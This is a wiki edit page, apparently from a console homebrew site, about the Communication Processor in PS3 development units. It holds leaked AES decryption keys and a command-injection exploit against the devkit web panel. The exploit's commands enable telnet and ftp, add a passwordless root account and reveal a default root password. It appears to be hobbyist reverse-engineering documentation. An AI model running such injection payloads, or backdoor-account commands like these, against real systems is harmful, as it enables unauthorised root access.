Editing Communication Processor
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| Latest revision | Your text | ||
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[[CXD9790GG]] (I/O) | [[CXD9790GG]] (I/O) | ||
[[TCP-510]] (Board ID on the DEH models such as [[DEH- | [[TCP-510]] (Board ID on the DEH models such as [[DEH-R1040]]) | ||
[[TCP-520]] (Board ID on the [[DECR-1000]]) | [[TCP-520]] (Board ID on the [[DECR-1000]]) | ||
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The update packages are just tar.gz packages encrypted using AES256CBC Here is the syntax to decrypt them : | The update packages are just tar.gz packages encrypted using AES256CBC Here is the syntax to decrypt them : | ||
* The first 16 bytes of the package is the IV, the Second 16 bytes is the | * The first 16 bytes of the package is the IV, the Second 16 bytes is the hash of the decrypted package. | ||
So use this Syntax after skipping the first 32 bytes of the file: | So use this Syntax after skipping the first 32 bytes of the file: | ||
{{keyboard|content= | {{keyboard|content=openssl aes-256-cbc -in reftool_cp_xxx.bin -K E8ED2B817207B70C5DF9090507AF2A8982967620D692B92A59231638402DF13F -iv the_first_16_bytes_of_the_file -d > dec.tgz | ||
}} | |||
PSP Hardware Tool Updates use the very same encryption but a different key inside the toolupdatedec binary. | PSP Hardware Tool Updates use the very same encryption but a different key inside the toolupdatedec binary. | ||
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The key to these units has also been dumped, here is the syntax to decrypt psp Hardware Tool Update for DTP-T1000 | The key to these units has also been dumped, here is the syntax to decrypt psp Hardware Tool Update for DTP-T1000 | ||
{{keyboard|content= | {{keyboard|content=openssl aes-256-cbc -in psptoolupdate.bin -K A400C48628A7A5294D11AE3BB2587AEA32E501C63E49D1DCAA19B5AEB092F3DB -iv the_first_16_bytes_of_the_file -d > dec.tgz | ||
}} | |||
P.S. If you have any trouble extracting the tarballs, try using Linux. | P.S. If you have any trouble extracting the tarballs, try using Linux. | ||
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* http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41073#Exploting_the_Communication_Processor | * http://www.psdevwiki.com/ps3/index.php?title=Communication_Processor&oldid=41073#Exploting_the_Communication_Processor | ||
</div> | </div> | ||
=== Step 1 - The Development Tool Web panel === | === Step 1 - The Development Tool Web panel === | ||
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<tr> | <tr> | ||
<th>Setting file</th> | <th>Setting file</th> | ||
<td> | <td> | ||
<input type="text" name="setting"> | <input type="text" name="setting"> | ||
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<hr> | <hr> | ||
<a href="http://192.168.0.3/cgi-bin/contents.cgi?lang=english">Top</a> | <a href="http://192.168.0.3/cgi-bin/contents.cgi?lang=english">Top</a> | ||
<!-- <a href="/help/english/save_setting.html" target="_blank">Help</a> --> | |||
</body> | </body> | ||
</html> | </html> | ||
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You should now have a place in which you can input text in the page itself, the exploit works as follows, any command you sent (by pressing on the "Setting" button) preceded by "; " (do not include the quotes) will run as root on the Communication Processor, so here are the obvious commands you need to input in order to gain telnet and ftp access as well as to add a root account to the unit: | You should now have a place in which you can input text in the page itself, the exploit works as follows, any command you sent (by pressing on the "Setting" button) preceded by "; " (do not include the quotes) will run as root on the Communication Processor, so here are the obvious commands you need to input in order to gain telnet and ftp access as well as to add a root account to the unit: | ||
Add a line to start telnet in inetd.conf ( | Add a line to start telnet in inetd.conf (the line already exists in the original file but is commented) | ||
{{keyboard|content= | {{keyboard|content=; echo >>/etc/inetd.conf telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd }} | ||
Add a line to start ftpd in inetd.conf | Add a line to start ftpd in inetd.conf | ||
{{keyboard|content= | {{keyboard|content=; echo >>/etc/inetd.conf ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd }} | ||
Restart inetd to apply the above changes | Restart inetd to apply the above changes | ||
{{keyboard|content= | {{keyboard|content=; /etc/init.d/inetd restart }} | ||
Add an account called rt with root privileges and no password to the passwd file (alternatively on the DECR-1000 Communication Processor you may ignore this step and log in with the root account and the password cytology | Add an account called rt with root privileges and no password to the passwd file (alternatively on the DECR-1000 Communication Processor you may ignore this step and log in with the root account and the password cytology) | ||
{{keyboard|content= | {{keyboard|content=; echo >>/etc/passwd rt::0:0:root:/root:/bin/bash }} | ||
You may also output files given the right path (if you don't want to mess with ftp) the below example creates a ls.txt file containing a listing of all files on the CP at the Development panel's root | You may also output files given the right path (if you don't want to mess with ftp) the below example creates a ls.txt file containing a listing of all files on the CP at the Development panel's root | ||
{{keyboard|content= | {{keyboard|content=; ls -alR /* > /usr/local/sony/www/html/ls.txt }} | ||
While sending all these commands (by clicking on the "Setting" button), the Development Tool's panel will send you an error message, this is normal (given the nature of the exploit) and can be ignored, just follow with the next commands until you have achieved your expected goal. | While sending all these commands (by clicking on the "Setting" button), the Development Tool's panel will send you an error message, this is normal (given the nature of the exploit) and can be ignored, just follow with the next commands until you have achieved your expected goal. | ||
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Once you have dumped the development tool panel's files, or extracted those from updates, the exploit should be fairly obvious to you. Of course when this exploit was first discovered, we had no previous access to the files on the Communication Processor and had to initially take another route, which was to dump the Communication Processor's bootrom using hardware (the chip sits on a socket), discover and use the diagnostic panel/shell on it, find a way out of its sandbox and send (through very slow serial outputs) the content of the Communication Processor's memory (as it was running live), which incidentally contained a whole copy of the file system and allowed to look for an easier way in, eventually the toolupdatedec files from both the DTP-T1000 and TCP-520 (DECR-1000 CP) was dumped using this exploit, allowing to retrieve the keys and algorithms used to decrypt Communication Processor/Hardware Tool updates. | Once you have dumped the development tool panel's files, or extracted those from updates, the exploit should be fairly obvious to you. Of course when this exploit was first discovered, we had no previous access to the files on the Communication Processor and had to initially take another route, which was to dump the Communication Processor's bootrom using hardware (the chip sits on a socket), discover and use the diagnostic panel/shell on it, find a way out of its sandbox and send (through very slow serial outputs) the content of the Communication Processor's memory (as it was running live), which incidentally contained a whole copy of the file system and allowed to look for an easier way in, eventually the toolupdatedec files from both the DTP-T1000 and TCP-520 (DECR-1000 CP) was dumped using this exploit, allowing to retrieve the keys and algorithms used to decrypt Communication Processor/Hardware Tool updates. | ||
{{Motherboard Components}}<noinclude>[[Category:Main]]</noinclude> | |||